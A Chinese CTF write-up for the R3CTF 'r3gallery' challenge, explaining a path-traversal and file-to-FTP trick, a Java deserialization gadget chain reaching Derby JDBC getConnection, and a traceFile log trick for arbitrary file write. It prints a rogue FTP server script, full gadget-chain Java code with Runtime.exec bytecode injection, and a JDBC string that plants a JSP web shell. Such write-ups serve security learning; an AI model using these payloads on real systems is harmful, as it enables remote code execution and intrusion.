长亭百川云 - 文章详情

R3CTF r3gallery 题解

ChaMd5安全团队

47

2024-07-13

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

本题考点如下:

  1. canonicalPath路径穿越、file://前缀ftp协议利用

  2. 反序列化触发getConnection

  3. derby-client jdbc任意文件写入

比赛的时候卡在一个很蠢的问题上-.-有点可惜。

canonicalPath路径穿越、file://前缀ftp协议利用

/api/decompress接口会读一个指定的文件,不过有file:///heavy_images/前缀限制。读完文件内容后会走原生反序列化。

String processedPath = PathUtils.canonicalPath("file:///heavy_images/" + path); if (processedPath == null || !processedPath.startsWith("file://")) {  return "Invalid".getBytes(StandardCharsets.UTF_8); } FileUrlResource fileUrlResource = new FileUrlResource(new URL(processedPath)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fileUrlResource.getInputStream().readAllBytes()); InputStream is = new GZIPInputStream(byteArrayInputStream); ObjectInputStream sois = new ObjectInputStream(is); ImageBean image = (ImageBean)sois.readObject();

思路一是利用tomcat缓存临时上传文件的特性,通过一边上传文件一边竞争fd就可以反序列化我们指定的内容,该方法成功率不高且不太优雅。

这里通过new URL读取file://前缀还有另外一种解法,其实javafile协议可以打ftp利用。跟一下getInputStream调用,openConnection这里会取host

热知识:file协议是支持host的,如file://127.0.0.1/etc/passwd

getInputStream逻辑的话发现如果host不为空并且不是localhost,那么会通过ftp协议请求远程资源。

image-20240621002959761

因此我们可以伪造ftp server,最终指定processedPathfile://ftp_server/flag即可控制靶机向ftp server请求我们指定反序列化的内容。

canonicalPath这里考察的是前段时间Nexus-Reposity的任意文件读取漏洞。不过也没有考察到漏洞本质,实际上就是很正常的通过../就能消去一个/

image-20240621003013075

PS:不能完全相信JD-GUI的反编译结果,只能说和fernflower各有千秋吧。比赛的时候用JD-GUI反编译出来的canonicalPath逻辑居然和原版是不一样的,导致根本没有normalize路径。

既然可以将processedPath修改为file://127.0.0.1/xxx的形式,那么写一个恶意ftp server:

import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 21)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') print(conn.recv(1024)) conn.send(b'331 Please specify the password.\n') print(conn.recv(1024)) conn.send(b'230 Login successful.\n') print(conn.recv(1024)) conn.send(b'200 /etc/passwd\n') print(conn.recv(1024)) conn.send(b'1 to Passive.\n') print(conn.recv(1024)) # linux # conn.send(b'227 Entering Extended Passive Mode (127.0.0.1,0,900)\n') # windows conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,900)\n') print(conn.recv(1024)) conn.send(b'221 Goodbye.\n') print(conn.recv(1024)) conn.close()

被动模式:

import socket import base64 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 900)) s.listen(1) evil_based_string = "MQ==" evil_bytes = base64.b64decode(evil_based_string) conn, addr = s.accept() conn.send(evil_bytes+b'\n') print("ok") conn.close()

至此,完成了通过ftp协议加载任意反序列化内容。

反序列化触发getConnection

反编译题目给出的war包可知远程为jdk15,而题目又提供了一个getConnection,结合derby依赖应该是打derby jdbc攻击。

/*    */   public Connection getConnection() throws SQLException { /*  9 */     DriverManager.getConnection(this.conStr); /* 10 */     return null; /*    */   }

观察到PendingDataSource接口类只有一个getConnection方法,因此可以通过JdkDynamicAopProxy封装POJONODE进而稳定触发getConnection方法。

整条链子:XString-->POJONODE#toString-->CustomDataSource#getConnection-->deby jdbc attack

package com.galery.art.tools; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.zip.GZIPOutputStream; public class r3a {     //BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl     public static void main(String[] args) throws Exception { //        final Object template = GadgetUtils.createTemplatesImpl(SpringBootMemoryShellOfController.class); //        final Object template = GadgetUtils.templatesImplLocalWindows();         CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");         CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");         ctClass.removeMethod(writeReplace);         // 将修改后的CtClass加载至当前线程的上下文类加载器中         ctClass.toClass();         POJONode node = new POJONode(makeTemplatesImplAopProxy());         Object o = xString1(node);         serialize(o);     }     public static String serialize(final Object obj) throws IOException {         FileOutputStream fileOutputStream = new FileOutputStream("squirt1e.ser");         serialize(obj,fileOutputStream);         fileOutputStream.close();         return "test1.ser";     }     public static void serialize(final Object obj, final OutputStream out) throws IOException {         GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out);         ObjectOutputStream objectOutputStream = new ObjectOutputStream(gzipOutputStream);         objectOutputStream.writeObject(obj);         objectOutputStream.flush();         gzipOutputStream.finish();     }     public static Object xString1(Object node) throws Exception {         XString xString = new XString("Squirt1e");         HashMap map1 = new HashMap();         HashMap map2 = new HashMap();         map1.put("yy",node);         map1.put("zZ",xString);         map2.put("yy",xString);         map2.put("zZ",node);         Object o = makeMap(map1,map2);         return o;     }     public static HashMap makeMap (Object v1, Object v2 ) throws Exception{         HashMap s = new HashMap();         setFieldValue(s, "size", 2);         Class nodeC;         try {             nodeC = Class.forName("java.util.HashMap$Node");         }         catch ( ClassNotFoundException e ) {             nodeC = Class.forName("java.util.HashMap$Entry");         }         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);         nodeCons.setAccessible(true);         Object tbl = Array.newInstance(nodeC, 2);         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));         Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));         setFieldValue(s, "table", tbl);         return s;     }     public static void setFieldValue(Object obj1,String str,Object obj2) throws NoSuchFieldException, IllegalAccessException {         Field field2 = obj1.getClass().getDeclaredField(str);//获取PriorityQueue的comparator字段         field2.setAccessible(true);//暴力反射         field2.set(obj1, obj2);//设置queue的comparator字段值为comparator     }     public static Object makeTemplatesImplAopProxy() throws Exception {         AdvisedSupport advisedSupport = new AdvisedSupport();         CustomDataSource customDataSource = new CustomDataSource();         setFieldValue(customDataSource,"conStr","jdbc:derby://xxx");         advisedSupport.setTarget(customDataSource);         Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);         constructor.setAccessible(true);         InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);         Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{PendingDataSource.class}, handler);         return proxy;     }     public static TemplatesImpl getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, InstantiationException, IllegalAccessException {         String cm = "new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}";         return createTemplatesImpl(cm);     }     public static TemplatesImpl createTemplatesImpl(String cmd)throws CannotCompileException, NotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchFieldException{         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass cc = pool.makeClass("SOTA");         //本机测试         if(cmd.contains("calc")){             cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");         }else {             cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec("+cmd+");");         } //        System.out.println("java.lang.Runtime.getRuntime().exec("+cmd+");");         cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));         cc.writeFile();         byte[] classBytes = cc.toBytecode();         byte[][] targetByteCodes = new byte[][]{classBytes};         //补充实例化新建类所需的条件         TemplatesImpl templates = TemplatesImpl.class.newInstance();         setFieldValue(templates, "_bytecodes", targetByteCodes);         setFieldValue(templates, "_name", "Squirtle");         setFieldValue(templates,"_class",null);         setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());         return templates;     } }

触发getConnection

image-20240621003030537

链子倒是好写,但题目依赖提供的derby-client从未见过,网上传的derby jdbc反序列化没有太多用处,因为题目本身就是个无限制的反序列化。

接下来需要调试derby-client看看有没有新的利用。

derby-client jdbc任意文件写入

这里有个坑,反编译war得到的derby-client.jarIDEA里不能DEBUG,会显示行号不匹配?比赛时就卡在这里了,不能调试的话完全没有做题欲望。

解决方案是下载官网提供的db-derby-10.14.2.0-lib-debug版本:

https://db.apache.org/derby/releases/release-10\_14\_2\_0.html

使用该版本可以正常调试:

image-20240621003129006

看解析jdbc连接串的逻辑,解析逻辑对应的实现是tokenizeXXX开头的方法。让大模型读一遍或者自己调一遍可知前缀需要为jdbc:derby//ip:port/的格式。

image-20240621003152545

tokenizeURLPropertiess是用来解析属性的,属性这里以;为分隔符。tokenizeAttributes是把属性字符串(这里为;create=true;)塞到properties当中。

image-20240621003219213

而接下来会解析traceLevel,这里了解过pgsql jdbc攻击的话很容易联想到这里可能会有log日志导致的任意文件写入问题。

image-20240621003236263

getTraceLevel就是解析properties当中的traceLevel

走到后面BasicClientDataSource40.computeDncLogWriterForNewConnection会初始化LogWriter,这里有一个BasicClientDataSource40.getTraceFile(augmentedProperties),取的是jdbc连接中的traceFile属性。

image-20240621003257828

jdbc连接串改为jdbc:derby://127.0.0.1:0/tmp/myderby;create=true;traceLevel=16;traceFile=E://ctf/squirt1e.jsp;继续调。

最终getPrintWriter会通过new File创建一个文件,而文件路径正是traceFile,不过此时文件并没有内容。

image-20240621003323454

获得LogWriter之后,会调用getFactory().newNetConnection方法,进而触发NetConnection

image-20240621003345550

然后走到traceConnectEntry,这里有两个分支。

image-20240621003357809

traceLevel为16会走到下图,即调用printWrite.println写入文件内容。这里内容为硬编码不可控的字符。

image-20240621003442397

观察到traceLevel为32时会写入properties,因此content也是完全可控的。

image-20240621003531338

将jdbc连接串改为如下形式:

jdbc:derby://127.0.0.1:0/tmp/myderby;create=true;traceLevel=32;traceFile=E://ctf/squirt1e.jsp;pwned=<%out.write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"whoami\"}).getInputStream())).readLine())\\u003b%>

成功写入jsp成功。另外题目还有thymeleaf,覆盖thymeleaf打模版注入应该也可以。

image-20240621003550783

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2